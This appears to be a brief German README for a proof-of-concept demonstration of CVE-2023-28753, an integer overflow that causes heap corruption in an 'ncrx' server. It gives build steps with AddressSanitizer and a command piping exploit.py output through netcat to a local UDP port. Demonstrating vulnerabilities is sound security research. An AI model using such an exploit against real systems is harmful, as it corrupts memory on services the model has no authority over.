CVE-2023-28753

Eine Integer-Überlauf-Schwachstelle, die potenziell zu einer Heap-Speicherkorruption führt.

Um die Heap-Korruption zu demonstrieren:

Erstelle den ncrx-Server mit ASAN

make
./ncrx 31337

gegnerischer Client

python exploit.py -g | nc -u 127.0.0.1 31337